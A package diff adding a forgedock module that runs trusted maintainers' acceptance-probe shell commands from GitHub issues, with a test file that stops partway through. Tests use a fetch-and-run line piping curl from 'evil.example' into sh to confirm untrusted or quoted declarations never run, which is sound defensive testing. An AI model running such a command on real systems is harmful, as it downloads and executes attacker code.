forgedock 1.30.0 → 1.32.0

package/bin/lean/probe.mjs

@@ -0,0 +1,297 @@
+// SPDX-FileCopyrightText: Copyright (c) RapierCraft Studios
+// SPDX-License-Identifier: AGPL-3.0-or-later
+/**
+ * Outcome-based acceptance (#4399): an issue may declare an acceptance probe, a command plus its pass condition. Once the
+ * issue's fix is on the default (production) branch, the probe runs deterministically (no model call, no lane), the
+ * result is recorded on the issue as a `FORGE:PROBE` comment, and a fail reopens the issue with the output attached.
+ *
+ * Declaration: a top-level fenced block in the issue body or a comment by a declarer (the latest comment wins):
+ *   ```forge-probe
+ *   run: curl -fsS https://example.com/health
+ *   pass: exit 0            # default; or `pass: /regex/flags` matched against stdout
+ *   timeout: 120            # seconds, capped at 900
+ *   ```
+ * Only declarers' commands run (`isProbeDeclarer`, fail closed): a human trusted association or trusted login, never a
+ * Bot/App, the engine included, since bot-filed text quotes untrusted content (#4468). A block nested in another fence
+ * or indented as code is quoted content, not a declaration. The fix commit is the latest
+ * trusted FORGE:TRAJECTORY `merged at <sha>`, else the merge commit of the latest merged PR that closes the issue; it is
+ * promoted when `git merge-base --is-ancestor <fix> origin/<default>` holds. A recorded result is never re-run for the
+ * same fix. The probe gets a minimal env (PATH, HOME, LANG, TMPDIR) plus forge.yaml `acceptance_probe.env` (the repo's
+ * designated test identity); those values are masked in the posted output.
+ * Triggers: `forgedock probe [issue...]` and a sweep at the start of every `forgedock orchestrate` batch (`--no-probes`).
+ */
+import { spawn as nodeSpawn } from "node:child_process";
+import { readFileSync } from "node:fs";
+import { join } from "node:path";
+import { parseForgeYaml } from "../forge-utils.mjs";
+import { isTrustedComment } from "../engine/phases.mjs";
+import { noComments } from "./render.mjs";
+
+export const PROBE_MARKER = "FORGE:PROBE";
+export const DEFAULT_TIMEOUT_S = 120;
+export const MAX_TIMEOUT_S = 900;
+export const OUTPUT_TAIL = 4000;
+const BASE_ENV = ["PATH", "HOME", "LANG", "TMPDIR"];
+
+const FENCE_RE = /^ {0,3}(`{3,}|~{3,})(.*)$/;
+const isForgeMarker = (body) => /^\s*<!--\s*FORGE:/.test(String(body ?? ""));
+
+/**
+ * #4468: the contents of the top-level CommonMark fences of `text` whose info string is `forge-probe`. A fence closes on
+ * a line of its own character at least as long; anything inside another fence (a quoted sample) or indented 4+ columns
+ * (an indented code block) is content, never a declaration. An unclosed fence yields nothing.
+ */
+function probeBlocks(text) {
+  const blocks = [];
+  let open = null;
+  for (const line of text.split("\n")) {
+    const m = FENCE_RE.exec(line);
+    if (!open) {
+      if (m && !(m[1][0] === "`" && m[2].includes("`"))) open = { ch: m[1][0], len: m[1].length, lines: m[2].trim() === "forge-probe" ? [] : null };
+    } else if (m && m[1][0] === open.ch && m[1].length >= open.len && !m[2].trim()) {
+      if (open.lines) blocks.push(open.lines.join("\n"));
+      open = null;
+    } else open.lines?.push(line);
+  }
+  return blocks;
+}
+
+/** The last top-level ```forge-probe block of `text`: {run, pass, timeoutS}, or null when absent or malformed. */
+export function parseProbe(text) {
+  const blocks = probeBlocks(noComments(String(text ?? ""), " ").replace(/\r\n?/g, "\n"));
+  if (!blocks.length) return null;
+  const fields = {};
+  for (const line of blocks[blocks.length - 1].split("\n")) {
+    const m = /^\s*(run|pass|timeout)\s*:\s*(.*?)\s*$/i.exec(line);
+    if (m && !(m[1].toLowerCase() in fields)) fields[m[1].toLowerCase()] = m[2];
+  }
+  if (!fields.run) return null;
+  let pass = { kind: "exit" };
+  const p = (fields.pass ?? "").replace(/\s+#.*$/, "");
+  if (p && !/^exit\s+0$/i.test(p)) {
+    const r = /^\/(.+)\/([a-z]*)$/.exec(p);
+    if (!r) return null;
+    try { new RegExp(r[1], r[2]); } catch { return null; }
+    pass = { kind: "regex", re: r[1], flags: r[2] };
+  }
+  let timeoutS = null;
+  if (fields.timeout) {
+    const t = parseInt(fields.timeout, 10);
+    if (!Number.isFinite(t) || t <= 0) return null;
+    timeoutS = Math.min(t, MAX_TIMEOUT_S);
+  }
+  return { run: fields.run, pass, timeoutS };
+}
+
+/** REST issue/comment author fields as the trust predicate reads them. */
+const actorOf = (o) => ({ association: o?.author_association, type: o?.user?.type, login: o?.user?.login });
+
+/**
+ * #4468: who may declare a probe, a command the host runs. Unlike `isTrustedActor` (which trusts every Bot so engine
+ * markers count), only a human: association in FORGE_TRAIL_TRUSTED_ASSOCIATIONS (default OWNER,MEMBER,COLLABORATOR;
+ * explicitly empty trusts none) or login in FORGE_TRAIL_TRUSTED_LOGINS, never a Bot/App or `[bot]` login, the engine
+ * included: the issues it files quote untrusted PR content. Missing author data fails closed.
+ */
+export function isProbeDeclarer({ association, type, login } = {}) {
+  if (!type || type === "Bot" || /\[bot\]$/i.test(String(login ?? ""))) return false;
+  const list = (v) => String(v).split(",").map((x) => x.trim()).filter(Boolean);
+  return list(process.env.FORGE_TRAIL_TRUSTED_ASSOCIATIONS ?? "OWNER,MEMBER,COLLABORATOR").includes(association ?? "")
+    || list(process.env.FORGE_TRAIL_TRUSTED_LOGINS ?? "").includes(login ?? "");
+}
+
+/**
+ * The probe the issue declares: the latest declarer comment's block, else the body's when its author is a declarer.
+ * {probe, source} | {untrusted: true} (a block exists but only from non-declarers) | null.
+ */
+export function declaredProbe(iss) {
+  let untrusted = false;
+  for (const c of [...(iss?.comments ?? [])].reverse()) {
+    if (isForgeMarker(c?.body)) continue; // the engine's own comments (a FORGE:PROBE output tail) never declare a probe
+    const probe = parseProbe(c?.body);
+    if (!probe) continue;
+    if (isProbeDeclarer(actorOf(c))) return { probe, source: "comment" };
+    untrusted = true;
+  }
+  const probe = parseProbe(iss?.body);
+  if (probe) {
+    if (isProbeDeclarer(actorOf(iss))) return { probe, source: "body" };
+    untrusted = true;
+  }
+  return untrusted ? { untrusted: true } : null;
+}
+
+/** {fix, result} of a FORGE:PROBE comment body, or null. */
+export function probeResultOf(body) {
+  const s = String(body ?? "");
+  if (!s.trimStart().startsWith(`<!-- ${PROBE_MARKER} -->`)) return null;
+  const line = s.split("\n").find((l) => /^\s*`?\{.*"result"/.test(l));
+  if (!line) return null;
+  try {
+    const j = JSON.parse(line.trim().replace(/^`|`$/g, ""));
+    return j && (j.result === "pass" || j.result === "fail") ? { fix: String(j.fix ?? ""), result: j.result } : null;
+  } catch { return null; }
+}
+
+const sameSha = (a, b) => !!a && !!b && (a.startsWith(b) || b.startsWith(a));
+const closesRe = (n) => new RegExp(`\\b(?:close[sd]?|fix(?:e[sd])?|resolve[sd]?)\\b:?\\s+(?:[\\w.-]+/[\\w.-]+)?#${n}(?!\\d)`, "i");
+
+/** The fix commit: latest trusted FORGE:TRAJECTORY `merged at <sha>`, else the latest merged PR closing #N's merge commit. */
+export async function fixSha(iss, io, repo) {
+  for (const c of [...(iss?.comments ?? [])].reverse()) {
+    if (!String(c?.body ?? "").includes("FORGE:TRAJECTORY") || !isTrustedComment(c)) continue;
+    const m = /merged at ([0-9a-f]{7,40})\b/.exec(c.body);
+    if (m) return m[1];
+  }
+  try {
+    const prs = JSON.parse(String(await io.gh(["pr", "list", "-R", repo, "--state", "merged", "--search", `#${iss.number}`, "--json", "number,title,body,mergeCommit,mergedAt", "--limit", "20"])));
+    const hit = (Array.isArray(prs) ? prs : []).filter((p) => p?.mergeCommit?.oid && closesRe(iss.number).test(`${p.title ?? ""}\n${p.body ?? ""}`))
+      .sort((a, b) => String(b.mergedAt ?? "").localeCompare(String(a.mergedAt ?? "")))[0];
+    return hit?.mergeCommit?.oid ?? null;
+  } catch { return null; }
+}
+
+/** True when `sha` is an ancestor of origin/<defaultBranch>; any git failure (unknown object) is false. */
+export async function onDefault({ sha, defaultBranch, io, cwd }) {
+  try { await io.git(["merge-base", "--is-ancestor", sha, `origin/${defaultBranch}`], { cwd }); return true; } catch { return false; }
+}
+
+/** forge.yaml `acceptance_probe`: {env: [names], timeoutS, sweepDays, enabled}. */
+export function readProbeConfig(cwd = process.cwd()) {
+  let c = {};
+  try { c = parseForgeYaml(readFileSync(join(cwd, "forge.yaml"), "utf8"))?.acceptance_probe ?? {}; } catch { c = {}; }
+  if (typeof c !== "object" || !c) c = {};
+  const list = Array.isArray(c.env) ? c.env : String(c.env ?? "").replace(/^\[|\]$/g, "").split(/[\s,]+/);
+  const num = (v, d) => (Number.isFinite(Number(v)) && Number(v) > 0 ? Number(v) : d);
+  return {
+    env: list.map((s) => String(s).trim().replace(/^["']|["']$/g, "")).filter((s) => /^[A-Za-z_][A-Za-z0-9_]*$/.test(s)),
+    timeoutS: Math.min(num(c.timeout_s, DEFAULT_TIMEOUT_S), MAX_TIMEOUT_S),
+    sweepDays: num(c.sweep_days, 30),
+    enabled: !/^(false|no|off|0)$/i.test(String(c.enabled ?? "true").trim()),
+  };
+}
+
+/** The probe's environment: the base names plus the allowlisted test identity, nothing else. */
+export function probeEnv(allow = [], env = process.env) {
+  return Object.fromEntries([...BASE_ENV, ...allow].filter((k) => typeof env[k] === "string").map((k) => [k, env[k]]));
+}
+
+/** Run `sh -c <run>` in its own process group; a timeout kills the group. Resolves {code, stdout, stderr, timedOut}. */
+export function spawnProbe({ run, cwd, env, timeoutMs }) {
+  return new Promise((resolve) => {
+    let stdout = "", stderr = "", timedOut = false;
+    const child = nodeSpawn("sh", ["-c", run], { cwd, env, detached: true, stdio: ["ignore", "pipe", "pipe"] });
+    const cap = (s, d) => (s + d).slice(-OUTPUT_TAIL * 4);
+    child.stdout.on("data", (d) => { stdout = cap(stdout, d); });
+    child.stderr.on("data", (d) => { stderr = cap(stderr, d); });
+    const timer = setTimeout(() => { timedOut = true; try { process.kill(-child.pid, "SIGKILL"); } catch { /* gone */ } }, timeoutMs);
+    child.on("error", (e) => { clearTimeout(timer); resolve({ code: 127, stdout, stderr: `${stderr}${e.message}`, timedOut }); });
+    child.on("close", (code) => { clearTimeout(timer); resolve({ code: code ?? 1, stdout, stderr, timedOut }); });
+  });
+}
+
+/** Run a probe: {result: pass|fail, exit, ms, output}. The output tail masks the allowlisted env values. */
+export async function runProbe(probe, { cwd, env = {}, mask = [], timeoutS = DEFAULT_TIMEOUT_S, spawn = spawnProbe, now = () => Date.now() } = {}) {
+  const t0 = now();
+  const r = await spawn({ run: probe.run, cwd, env, timeoutMs: (probe.timeoutS ?? timeoutS) * 1000 });
+  const ms = now() - t0;
+  let ok = !r.timedOut && r.code === 0;
+  if (!r.timedOut && probe.pass?.kind === "regex") ok = new RegExp(probe.pass.re, probe.pass.flags).test(String(r.stdout ?? ""));
+  let output = `${r.stdout ?? ""}${r.stderr ? `\n${r.stderr}` : ""}${r.timedOut ? `\n[timed out after ${probe.timeoutS ?? timeoutS}s]` : ""}`;
+  for (const v of mask) if (typeof v === "string" && v.length >= 4) output = output.split(v).join("***");
+  return { result: ok ? "pass" : "fail", exit: r.timedOut ? null : r.code, ms, output: output.slice(-OUTPUT_TAIL) };
+}
+
+/** The FORGE:PROBE comment. */
+export function renderProbeComment({ probe, fix, defaultBranch, defaultSha, r }) {
+  const fence = "`".repeat(Math.max(3, ...[...String(r.output).matchAll(/`+/g)].map((m) => m[0].length + 1)));
+  const pass = probe.pass?.kind === "regex" ? `stdout matches \`/${probe.pass.re}/${probe.pass.flags}\`` : "exit 0";
+  return [
+    `<!-- ${PROBE_MARKER} -->`,
+    `## Acceptance probe: ${r.result}`,
+    JSON.stringify({ fix, default_sha: defaultSha, result: r.result, exit: r.exit, ms: r.ms }),
+    "",
+    `Ran after the fix \`${String(fix).slice(0, 12)}\` reached \`${defaultBranch}\`. Pass condition: ${pass}.${r.result === "fail" ? " The issue is reopened." : ""}`,
+    "",
+    fence, r.output.trim() || "(no output)", fence,
+  ].join("\n");
+}
+
+/** Read the issue (REST, for author_association) and its comments. */
+async function readIssue(issue, repo, io) {
+  const iss = JSON.parse(String(await io.gh(["api", `repos/${repo}/issues/${issue}`])));
+  const raw = String(await io.gh(["api", `repos/${repo}/issues/${issue}/comments`, "--paginate", "--jq", ".[]"]));
+  const comments = raw.split("\n").filter((l) => l.trim()).map((l) => JSON.parse(l));
+  return { ...iss, number: issue, comments };
+}
+
+/**
+ * Probe one issue. Outcomes: no-probe | untrusted | unresolved | already-recorded | awaiting-promotion | pass | fail.
+ * Writes (comment, reopen) only for pass/fail and never with `dryRun`.
+ */
+export async function probeIssue({ issue, repo, cwd = process.cwd(), io, defaultBranch, dryRun = false, config = readProbeConfig(cwd), env = process.env, spawn }) {
+  const row = (outcome, detail = "", extra = {}) => ({ issue, outcome, detail, ...extra });
+  const iss = await readIssue(issue, repo, io);
+  const d = declaredProbe(iss);
+  if (!d) return row("no-probe");
+  if (d.untrusted) return row("untrusted", "forge-probe declared only by untrusted actors; not run");
+  const fix = await fixSha(iss, io, repo);
+  if (!fix) return row("unresolved", "no fix commit found (FORGE:TRAJECTORY or a merged closing PR)");
+  const recorded = iss.comments.filter((c) => isTrustedComment(c)).map((c) => probeResultOf(c.body)).filter(Boolean).reverse()
+    .find((p) => sameSha(p.fix, fix));
+  if (recorded) return row("already-recorded", `${recorded.result} for ${fix.slice(0, 12)}`, { fix });
+  if (!(await onDefault({ sha: fix, defaultBranch, io, cwd }))) return row("awaiting-promotion", `fix ${fix.slice(0, 12)} is not on ${defaultBranch}`, { fix });
+  let defaultSha = null;
+  try { defaultSha = String(await io.git(["rev-parse", `origin/${defaultBranch}`], { cwd })).trim() || null; } catch { /* recorded as null */ }
+  const r = await runProbe(d.probe, { cwd, env: probeEnv(config.env, env), mask: config.env.map((k) => env[k]), timeoutS: config.timeoutS, ...(spawn ? { spawn } : {}) });
+  const detail = `exit ${r.exit ?? "timeout"} in ${r.ms}ms`;
+  if (dryRun) return row(r.result, `${detail} (dry run: not recorded)`, { fix, output: r.output });
+  const body = renderProbeComment({ probe: d.probe, fix, defaultBranch, defaultSha, r });
+  let note = "";
+  if (r.result === "fail") {
+    try { await io.gh(["issue", "reopen", String(issue), "-R", repo]); } catch (e) { note = `; reopen failed: ${String(e?.message ?? e).slice(0, 120)}`; }
+  }
+  await io.gh(["issue", "comment", String(issue), "-R", repo, "--body", body]);
+  return row(r.result, detail + note, { fix });
+}
+
+/** The default branch: forge.yaml `branches.default`, else GitHub's. */
+export async function resolveDefaultBranch({ repo, io, cwd = process.cwd() }) {
+  try {
+    const b = parseForgeYaml(readFileSync(join(cwd, "forge.yaml"), "utf8"))?.branches?.default;
+    if (typeof b === "string" && b.trim()) return b.trim();
+  } catch { /* GitHub's */ }
+  return String(await io.gh(["repo", "view", repo, "--json", "defaultBranchRef", "--jq", ".defaultBranchRef.name"])).trim() || null;
+}
+
+/**
+ * Probe `issues`, or (none given) the issues closed within `sweepDays` that mention `forge-probe`, capped at `limit`.
+ * Sequential: probes hit production. Never throws per issue: an error is an `error` row.
+ */
+export async function sweepProbes({ repo, cwd = process.cwd(), io, issues = null, limit = 50, sinceDays = null, dryRun = false, config = readProbeConfig(cwd), now = () => Date.now(), env = process.env, spawn } = {}) {
+  if (!config.enabled && !issues?.length) return [];
+  const defaultBranch = await resolveDefaultBranch({ repo, io, cwd });
+  if (!defaultBranch) throw new Error("no default branch");
+  let list = issues;
+  if (!list?.length) {
+    const since = new Date(now() - (sinceDays ?? config.sweepDays) * 86400000).toISOString().slice(0, 10);
+    const found = JSON.parse(String(await io.gh(["issue", "list", "-R", repo, "--state", "closed", "--search", `forge-probe in:body,comments closed:>=${since}`, "--limit", String(limit), "--json", "number"])));
+    list = (Array.isArray(found) ? found : []).map((i) => i.number).filter(Number.isInteger);
+  }
+  if (!list.length) return [];
+  try { await io.git(["fetch", "origin", defaultBranch], { cwd }); } catch { /* offline: the local ref */ }
+  const rows = [];
+  for (const issue of list) {
+    try { rows.push(await probeIssue({ issue, repo, cwd, io, defaultBranch, dryRun, config, env, spawn })); } catch (e) {
+      rows.push({ issue, outcome: "error", detail: String(e?.message ?? e).slice(0, 160) });
+    }
+  }
+  return rows;
+}
+
+const GROUPS = [["pass", "pass"], ["fail", "fail (reopened)"], ["awaiting-promotion", "awaiting promotion"], ["unresolved", "unresolved fix"], ["untrusted", "untrusted (not run)"], ["error", "error"]];
+/** One line, e.g. `probes: pass #A; fail (reopened) #B; awaiting promotion #C`; "" when nothing ran or waits. */
+export function formatProbeSummary(rows) {
+  const parts = GROUPS.map(([k, label]) => [label, (rows ?? []).filter((r) => r.outcome === k).map((r) => `#${r.issue}`)])
+    .filter(([, l]) => l.length).map(([label, l]) => `${label} ${l.join(" ")}`);
+  return parts.length ? `probes: ${parts.join("; ")}` : "";
+}

package/bin/lean/probe.test.mjs

@@ -0,0 +1,210 @@
+// SPDX-FileCopyrightText: Copyright (c) RapierCraft Studios
+// SPDX-License-Identifier: AGPL-3.0-or-later
+import { describe, it } from "node:test";
+import assert from "node:assert/strict";
+import { parseProbe, declaredProbe, isProbeDeclarer, probeResultOf, probeIssue, sweepProbes, probeEnv, runProbe, formatProbeSummary, readProbeConfig, spawnProbe, MAX_TIMEOUT_S, PROBE_MARKER } from "./probe.mjs";
+
+const block = (lines) => ["Steps.", "```forge-probe", ...lines, "```", ""].join("\n");
+const OWNER = { author_association: "OWNER", user: { login: "op", type: "User" } };
+const STRANGER = { author_association: "NONE", user: { login: "rando", type: "User" } };
+const BOT = { author_association: "NONE", user: { login: "forgedock[bot]", type: "Bot" } };
+const FIX = "abcdef123456";
+const traj = { ...BOT, body: `<!-- FORGE:TRAJECTORY -->\n| Merge | merge commit | merged at ${FIX} |` };
+const config = { env: ["PROBE_TOKEN"], timeoutS: 120, sweepDays: 30, enabled: true };
+
+/** A fake gh/git world; `onMain` says whether the fix is an ancestor of origin/main. */
+function world({ issue = {}, comments = [traj], onMain = true, prs = [], closed = [] } = {}) {
+  const w = { calls: [], reopened: [], posted: [], spawned: [] };
+  w.io = {
+    async gh(a) {
+      w.calls.push(a);
+      if (a[0] === "api" && /\/comments$/.test(a[1])) return comments.map((c) => JSON.stringify(c)).join("\n");
+      if (a[0] === "api") return JSON.stringify({ number: 7, state: "closed", body: block(["run: ./check.sh", "pass: exit 0"]), ...OWNER, ...issue });
+      if (a[0] === "issue" && a[1] === "reopen") { w.reopened.push(a[2]); return ""; }
+      if (a[0] === "issue" && a[1] === "comment") { w.posted.push([a[2], a[a.indexOf("--body") + 1]]); return ""; }
+      if (a[0] === "issue" && a[1] === "list") return JSON.stringify(closed.map((number) => ({ number })));
+      if (a[0] === "pr" && a[1] === "list") return JSON.stringify(prs);
+      if (a[0] === "repo") return "main\n";
+      throw new Error(`unexpected gh ${a.join(" ")}`);
+    },
+    async git(a) {
+      w.calls.push(["git", ...a]);
+      if (a[0] === "merge-base") { if (!onMain) throw new Error("exit 1"); return ""; }
+      if (a[0] === "rev-parse") return "9999999999999999\n";
+      return "";
+    },
+  };
+  w.spawn = (r) => async (opts) => { w.spawned.push(opts); return { code: 0, stdout: "", stderr: "", timedOut: false, ...r }; };
+  return w;
+}
+const run = (w, r = {}, extra = {}) => probeIssue({ issue: 7, repo: "o/r", cwd: "/tmp", io: w.io, defaultBranch: "main", config, env: { PATH: "/bin", HOME: "/h", PROBE_TOKEN: "s3cr3t-token", AWS_SECRET: "x" }, spawn: w.spawn(r), ...extra });
+const writes = (w) => w.calls.filter((a) => a[0] === "issue" && ["comment", "reopen", "close"].includes(a[1]));
+
+describe("probe (#4399)", () => {
+  it("parses a forge-probe block: exit default, regex pass, timeout cap, malformed → null", () => {
+    assert.deepEqual(parseProbe(block(["run: curl -fsS https://x/health"])), { run: "curl -fsS https://x/health", pass: { kind: "exit" }, timeoutS: null });
+    assert.deepEqual(parseProbe(block(["run: ./p", "pass: /ok: \\d+/i", "timeout: 99999"])).pass, { kind: "regex", re: "ok: \\d+", flags: "i" });
+    assert.equal(parseProbe(block(["run: ./p", "timeout: 99999"])).timeoutS, MAX_TIMEOUT_S);
+    assert.equal(parseProbe(block(["pass: exit 0"])), null);
+    assert.equal(parseProbe(block(["run: ./p", "pass: maybe"])), null);
+    assert.equal(parseProbe("no block here"), null);
+    assert.equal(parseProbe(`<!--\n${block(["run: ./hidden"])}-->`), null);
+  });
+
+  it("parses a CRLF block (web UI authored) exactly like the LF one (#4466)", () => {
+    const crlf = (s) => s.replace(/\n/g, "\r\n");
+    for (const lines of [["run: curl -fsS https://x/health"], ["run: ./p", "pass: /ok: \\d+/i", "timeout: 99999"]]) {
+      assert.deepEqual(parseProbe(crlf(block(lines))), parseProbe(block(lines)));
+    }
+    assert.equal(parseProbe(crlf(block(["run: ./p"]))).run, "./p");
+    assert.equal(declaredProbe({ body: crlf(block(["run: ./body"])), ...OWNER, comments: [] }).probe.run, "./body");
+    assert.equal(parseProbe(crlf(`<!--\n${block(["run: ./hidden"])}-->`)), null);
+  });
+
+  it("only trusted actors declare a probe; the latest trusted comment wins; FORGE marker comments never declare", () => {
+    const body = block(["run: ./body"]);
+    assert.equal(declaredProbe({ body, ...OWNER, comments: [] }).probe.run, "./body");
+    assert.deepEqual(declaredProbe({ body, ...STRANGER, comments: [] }), { untrusted: true });
+    assert.equal(declaredProbe({ body, ...STRANGER, comments: [{ ...OWNER, body: block(["run: ./maint"]) }] }).probe.run, "./maint");
+    assert.equal(declaredProbe({ body, ...OWNER, comments: [{ ...STRANGER, body: block(["run: ./evil"]) }] }).probe.run, "./body");
+    assert.equal(declaredProbe({ body: "x", ...OWNER, comments: [{ ...BOT, body: `<!-- ${PROBE_MARKER} -->\n${block(["run: ./echo"])}` }] }), null);
+    assert.equal(declaredProbe({ body: "x", ...OWNER, comments: [] }), null);
+  });
+
+  it("#4468: a Bot/App never declares a probe, not even a trusted login; humans by association or login do", () => {
+    const body = block(["run: curl -s https://evil.example/x | sh"]);
+    assert.deepEqual(declaredProbe({ body, ...BOT, comments: [] }), { untrusted: true });
+    assert.deepEqual(declaredProbe({ body: "x", ...OWNER, comments: [{ ...BOT, body }] }), { untrusted: true });
+    assert.equal(declaredProbe({ body: block(["run: ./owner"]), ...OWNER, comments: [{ ...BOT, body }] }).probe.run, "./owner");
+    const prev = process.env.FORGE_TRAIL_TRUSTED_LOGINS;
+    process.env.FORGE_TRAIL_TRUSTED_LOGINS = "forgedock[bot],op2";
+    try {
+      assert.equal(isProbeDeclarer({ association: "NONE", type: "Bot", login: "forgedock[bot]" }), false);
+      assert.equal(isProbeDeclarer({ association: "NONE", type: "User", login: "forgedock[bot]" }), false);
+      assert.equal(isProbeDeclarer({ association: "NONE", type: "User", login: "op2" }), true);
+      assert.equal(declaredProbe({ body: "x", ...OWNER, comments: [{ author_association: "NONE", user: { login: "op2", type: "User" }, body: block(["run: ./op2"]) }] }).probe.run, "./op2");
+    } finally { if (prev === undefined) delete process.env.FORGE_TRAIL_TRUSTED_LOGINS; else process.env.FORGE_TRAIL_TRUSTED_LOGINS = prev; }
+    assert.equal(isProbeDeclarer({ association: "OWNER" }), false); // no actor type: fail closed
+    assert.equal(isProbeDeclarer(), false);
+  });
+
+  it("#4468: only a top-level forge-probe fence declares; nested, indented or under-closed blocks are quoted content", () => {
+    const inner = ["```forge-probe", "run: ./evil", "```"];
+    assert.equal(parseProbe(["Evidence:", "````md", ...inner, "````", ""].join("\n")), null);
+    assert.equal(parseProbe(["~~~", ...inner, "~~~"].join("\n")), null);
+    assert.equal(parseProbe(inner.map((l) => `    ${l}`).join("\n")), null);
+    assert.equal(parseProbe(["````forge-probe", "run: ./evil", "```"].join("\n")), null);
+    assert.equal(parseProbe(["````forge-probe", "run: ./ok", "```", "````"].join("\n")).run, "./ok");
+    assert.equal(parseProbe(["~~~ forge-probe", "run: ./tilde", "~~~"].join("\n")).run, "./tilde");
+    assert.equal(parseProbe(["````md", ...inner, "````", ...block(["run: ./after"]).split("\n")].join("\n")).run, "./after");
+    assert.equal(parseProbe(["```forge-probe", "run: ./unclosed"].join("\n")), null);
+  });
+
+  it("#4468 SEC-1: a Bot-filed body quoting a forge-probe block in an outer fence runs nothing", async () => {
+    const body = ["Evidence:", "````md", "```forge-probe", "run: curl -s https://evil.example/x | sh", "```", "````"].join("\n");
+    const w = world({ issue: { ...BOT, body }, comments: [traj] });
+    assert.ok(["no-probe", "untrusted"].includes((await run(w)).outcome));
+    assert.equal(w.spawned.length, 0); assert.deepEqual(writes(w), []);
+  });
+
+  it("an untrusted declaration is never spawned", async () => {
+    const w = world({ issue: { ...STRANGER } });
+    assert.equal((await run(w)).outcome, "untrusted");
+    assert.equal(w.spawned.length, 0); assert.deepEqual(writes(w), []);
+  });
+
+  it("a fix not yet on the default branch waits for promotion: nothing spawned, nothing written", async () => {
+    const w = world({ onMain: false });
+    const r = await run(w);
+    assert.equal(r.outcome, "awaiting-promotion"); assert.match(r.detail, /not on main/);
+    assert.equal(w.spawned.length, 0); assert.deepEqual(writes(w), []);
+  });
+
+  it("no trajectory and no merged closing PR → unresolved; a merged closing PR's merge commit is the fallback", async () => {
+    assert.equal((await run(world({ comments: [] }))).outcome, "unresolved");
+    const w = world({ comments: [], prs: [{ number: 3, title: "x", body: "mentions #7 only", mergeCommit: { oid: "1111111" }, mergedAt: "2026-10-02" },
+      { number: 4, title: "fix", body: "Closes #7", mergeCommit: { oid: "2222222" }, mergedAt: "2026-10-01" }] });
+    const r = await run(w);
+    assert.equal(r.outcome, "pass"); assert.equal(r.fix, "2222222");
+  });
+
+  it("pass: records FORGE:PROBE with the result JSON, no reopen", async () => {
+    const w = world();
+    const r = await run(w, { stdout: "healthy\n" });
+    assert.equal(r.outcome, "pass"); assert.deepEqual(w.reopened, []);
+    assert.equal(w.posted.length, 1);
+    const body = w.posted[0][1];
+    assert.ok(body.startsWith(`<!-- ${PROBE_MARKER} -->`));
+    assert.deepEqual(probeResultOf(body), { fix: FIX, result: "pass" });
+    assert.match(body, /"default_sha":"9999999999999999"/);
+    assert.equal(w.spawned[0].run, "./check.sh");
+  });
+
+  it("fail (non-zero exit, regex miss, timeout): reopens the issue and attaches the output tail", async () => {
+    for (const [name, issue, r, re] of [
+      ["exit", {}, { code: 3, stdout: "billed false success on T4\n" }, /billed false success on T4/],
+      ["regex", { body: block(["run: ./p", "pass: /status: ok/"]) }, { code: 0, stdout: "status: degraded\n" }, /status: degraded/],
+      ["timeout", {}, { code: null, timedOut: true, stdout: "partial" }, /timed out after 120s/],
+    ]) {
+      const w = world({ issue });
+      const out = await run(w, r);
+      assert.equal(out.outcome, "fail", name);
+      assert.deepEqual(w.reopened, ["7"], name);
+      assert.equal(probeResultOf(w.posted[0][1]).result, "fail", name);
+      assert.match(w.posted[0][1], re, name); assert.match(w.posted[0][1], /The issue is reopened/, name);
+      // reopen happens before the evidence comment
+      const order = writes(w).map((a) => a[1]);
+      assert.deepEqual(order, ["reopen", "comment"], name);
+    }
+  });
+
+  it("a result already recorded for the same fix is not re-run; a new fix is", async () => {
+    const rec = { ...BOT, body: `<!-- ${PROBE_MARKER} -->\n## Acceptance probe: fail\n${JSON.stringify({ fix: `${FIX}7890`, result: "fail" })}` };
+    const w = world({ comments: [traj, rec] });
+    assert.equal((await run(w)).outcome, "already-recorded");
+    assert.equal(w.spawned.length, 0); assert.deepEqual(writes(w), []);
+    const forged = world({ comments: [traj, { ...rec, ...STRANGER }] });
+    assert.equal((await run(forged)).outcome, "pass");
+  });
+
+  it("dry run executes but writes nothing", async () => {
+    const w = world();
+    const r = await run(w, { code: 1 }, { dryRun: true });
+    assert.equal(r.outcome, "fail"); assert.match(r.detail, /dry run/);
+    assert.deepEqual(writes(w), []);
+  });
+
+  it("the env is the base set plus the allowlisted test identity, and its values are masked in the output", async () => {
+    assert.deepEqual(probeEnv(["PROBE_TOKEN"], { PATH: "/bin", HOME: "/h", PROBE_TOKEN: "t", AWS_SECRET: "x", GH_TOKEN: "g" }), { PATH: "/bin", HOME: "/h", PROBE_TOKEN: "t" });
+    const w = world();
+    await run(w, { code: 1, stdout: "auth s3cr3t-token rejected" });
+    assert.deepEqual(Object.keys(w.spawned[0].env).sort(), ["HOME", "PATH", "PROBE_TOKEN"]);
+    assert.doesNotMatch(w.posted[0][1], /s3cr3t-token/); assert.match(w.posted[0][1], /auth \*\*\* rejected/);
+  });
+
+  it("a sweep with no issues makes one closed-issue search, fetches the default branch and probes each hit", async () => {
+    const w = world({ closed: [7] });
+    const rows = await sweepProbes({ repo: "o/r", cwd: "/nonexistent", io: w.io, config, now: () => Date.parse("2026-10-23T00:00:00Z"), env: { PATH: "/bin" }, spawn: w.spawn({}) });
+    const searches = w.calls.filter((a) => a[0] === "issue" && a[1] === "list");
+    assert.equal(searches.length, 1);
+    assert.match(searches[0][searches[0].indexOf("--search") + 1], /^forge-probe in:body,comments closed:>=2026-09-23$/);
+    assert.ok(w.calls.some((a) => a.join(" ") === "git fetch origin main"));
+    assert.deepEqual(rows.map((r) => [r.issue, r.outcome]), [[7, "pass"]]);
+    assert.deepEqual(await sweepProbes({ repo: "o/r", cwd: "/nonexistent", io: world().io, config }), []);
+    assert.deepEqual(await sweepProbes({ repo: "o/r", cwd: "/nonexistent", io: w.io, config: { ...config, enabled: false } }), []);
+  });
+
+  it("summary groups outcomes and is empty when nothing ran or waits", () => {
+    assert.equal(formatProbeSummary([{ issue: 1, outcome: "pass" }, { issue: 2, outcome: "fail" }, { issue: 3, outcome: "awaiting-promotion" }, { issue: 4, outcome: "no-probe" }]),
+      "probes: pass #1; fail (reopened) #2; awaiting promotion #3");
+    assert.equal(formatProbeSummary([{ issue: 4, outcome: "already-recorded" }]), "");
+  });
+
+  it("forge.yaml config defaults and a real spawn honour exit, timeout and env", async () => {
+    assert.deepEqual(readProbeConfig("/nonexistent"), { env: [], timeoutS: 120, sweepDays: 30, enabled: true });
